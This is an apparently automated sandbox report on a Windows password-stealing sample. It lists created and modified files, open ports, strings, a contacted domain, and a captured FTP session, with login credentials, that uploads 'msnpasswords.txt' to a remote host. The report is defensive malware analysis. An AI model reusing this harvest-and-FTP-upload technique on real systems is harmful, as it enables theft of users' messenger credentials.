

This is a report from a file uploaded to our Sandbox. The data from our Sandbox has recently been updated to remove benign files and data, you will not see a list of all open ports or running processes, instead we are only listing those processes and files that are directly relevant to the binary (malware) that was uploaded on our website. We hope this make our reports easier to read and more useful to you.

We welcome your comments and suggestions; please send them to the email address above.

Report Contains Output Reference to file: **d35a7ef4102a6e7a9221f729ffceac7a**
 MD5 Hash: **d35a7ef4102a6e7a9221f729ffceac7a**

Creates Files	Sniffer Capability	Botnet Activity	Beacons Out/Download Capable	Malware Downloaded	Key Logging Capability	Opens Listening Port	Creates SMTP Traffic	Modifies MBR	SQL Attack	FTP Remote Access	Attempts lateral connection	ADS
YES	NO	NO	YES	NO	NO	YES	NO	NO	NO	YES	NO	NO

Files created on the File System - Count: 2

[Back To Top](#)

File Name:	msn.exe
File Path:	WINDOWS
MD5 Hash:	623a6a486569c3a808005d5ec9a325c0
SSDeep Hash:	768:cPFT3c16FWv3jErv/tbSyxxY5dUPthCAInyr5h/mugl4M/yTtA51Ev:cPFT5r9bSaYGTplh/mugH/yT2Ev
File Name:	msn.txt
File Path:	WINDOWS
MD5 Hash:	d41d8cd98f00b204e9800998ecf8427e
SSDeep Hash:	3::

Files which were modified on the File System with the corresponding MD5SUM and Path - Count: 12

File Name:	NTUSER.DAT
File Path:	Documents and Settings/Administrator
MD5 Hash:	b1e0d0a158f15d1b6fad93189bd9f5be
File Name:	NTUSER.DAT
File Path:	Documents and Settings/LocalService
MD5 Hash:	09063c40d2b4b840e4f8bf9bcaa2e41a
File Name:	NTUSER.DAT
File Path:	Documents and Settings/NetworkService
MD5 Hash:	12f0f388edb6e026985a51b57db83aae
File Name:	AppEvent.Evt
File Path:	WINDOWS/system32/config
MD5 Hash:	8875a407aba395577700cc8350add4b2
File Name:	default
File Path:	WINDOWS/system32/config
MD5 Hash:	abca0be36ef5d3567691b4fdb8cfe10c
File Name:	SAM
File Path:	WINDOWS/system32/config
MD5 Hash:	a27fc2cd61d00756bbde7d93dc2ff466

Files which were modified on the File System with the corresponding MD5SUM and Path - Count: 12

File Name:	SECURITY
File Path:	WINDOWS/system32/config
MD5 Hash:	889b923faecdab18eec06a58a241dba7
File Name:	software
File Path:	WINDOWS/system32/config
MD5 Hash:	b858a1b87ee4c500a7c76efe9ff27628
File Name:	SysEvent.Evt
File Path:	WINDOWS/system32/config
MD5 Hash:	2d6840dc6b604f23cad2377c278d564e
File Name:	system
File Path:	WINDOWS/system32/config
MD5 Hash:	7762c8a07226160a7ab591e9156a6cf7
File Name:	Preferred
File Path:	WINDOWS/system32/Microsoft/Protect/S-1-5-18/User
MD5 Hash:	8a129336e129db7cdeb845bebe61ccfa
File Name:	wbemess.lo_
File Path:	WINDOWS/system32/wbem/Logs
MD5 Hash:	d346d0b3fb79ab669a4289e980914dd5

New Open and/or Listening Ports (MPORT) - Count: 2

[Back To Top](#)

Protocol	LocalIpPort	RemoteIpPort	Service	Status
0.0.0.0:1040	TCP	0.0.0.0:2256	LISTENING	d35a7ef4102a6e7a9221f729ffceac7a:1572
10.10.10.7:1038	TCP	4.3.2.110:21	ESTABLISHED	d35a7ef4102a6e7a9221f729ffceac7a:1572

New Open Sockets in Memory - Count: 2

[Back To Top](#)

Pid	Port	Proto
1572	1038	6
1572	1040	6

New Processes in Memory - Count: 1

[Back To Top](#)

Pid	PPid	Name
1572	1088	d35a7ef4102a6e7a9221f729ffceac7a

New Connections in Memory - Count: 1

[Back To Top](#)

LocalIpPort	RemotepPort	Pid
10.10.10.7:1038	4.3.2.110:21	1572

New Opened files which were contained within Memory - Count: 7

[Back To Top](#)

Data

File \Documents and Settings\Administrator\Cookies\index.dat
 File \Documents and Settings\Administrator\Local Settings\Application Data\Microsoft\Portable Devices
 File \Documents and Settings\Administrator\Local Settings\History\History.IE5\index.dat
 File \Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat
 File \System Volume Information_restore{307E7B41-0455-430D-B7AD-0176BCF9FE0E}\RP16\change.log
 File \System Volume Information\tracking.log
 File \WINDOWS\msn.txt

Strings Command executed on Processes contained within Memory - Count: 10

[Back To Top](#)

Data

true
 FtpPutFileA
 IdFTPCommon
 IdFTPList
 Uh.PA
 f ftpAborted
 ftpReady
 ftpTransfer
 |rdr|\plug_ins\sendmail.api

Malicious DNS Queries, HTTP Traffic, and GET Commands, etc. - Count: 1

[Back To Top](#)

Data

loggelsin.freehostia.com

Malicious FTP Traffic - Count: 8

[Back To Top](#)

Data

Connection from 10.10.10.7
 USER asdasd4356
 PASS 1922455
 TYPE I
 PASV
 TYPE I
 PORT 10,10,10,7,4,16
 STOR msnpasswords.txt

Potentially Malicious Changes in System Registry File - Count: 2

[Back To Top](#)

Data

```
[system\ControlSet001\Services\Eventlog\Application\Microsoft H.323 Telephony Service Provider]
"EventMessageFile"="C:\\WINDOWS\\System32\\h323.tsp"
```

Potentially Malicious Changes in NTUSER.DAT File - Count: 2

[Back To Top](#)

Data

```
[NTUSER\\Software\\NirSoft]
[NTUSER\\Software\\NirSoft\\MessenPass]
```

This is an automated report provided free of charge, it was generated in part by a custom script and utilizes the following tools: the Reusable Malware Analysis Net (Truman*) server, Norton Anti-Virus, Malwarebytes Anti-malware*, Sysinternals Tools, Ngrep, Tcpdump, Sed Editor, Awk, Volatile Systems Volatility Framework, SSdeep, MD5sum, MS Office and Adobe Acrobat . If you would like a full forensic examination that would tell you more about how the malware was placed on the system and if additional malicious applications are still there please contact us. In some cases we can determine if data was exfiltrated, but data from your other network devices is sometimes necessary. (example: firewalls and IDS)

* TRUMAN: Authored by Mr. Joe Stewart under the General Public License.

* VirusTotal is a service developed by Hispasec Sistemas that analyzes suspicious files and URLs enabling the identification of viruses, worms, trojans and other kinds of malicious content detected by antivirus engines and web analysis toolbars.

* Ngrep: Authored by Jordan Ritter Norton Anti Virus: Product of Symantec Corp.

* Malwarebytes Anti-Malware, Product fo Malwarebytes Corporation Windows Sysinternals Tools, Sysinternals was created in 1996 by Mark Russinovich and Bryce Cogswell to host their advanced system utilities and technical information. Microsoft acquired Sysinternals in July, 2006

* Virus Total checks multiple AV products, here is a list of all the AV applications and versions they are currently using. If our report does not show an AV application above, it did not hit on the binary submitted.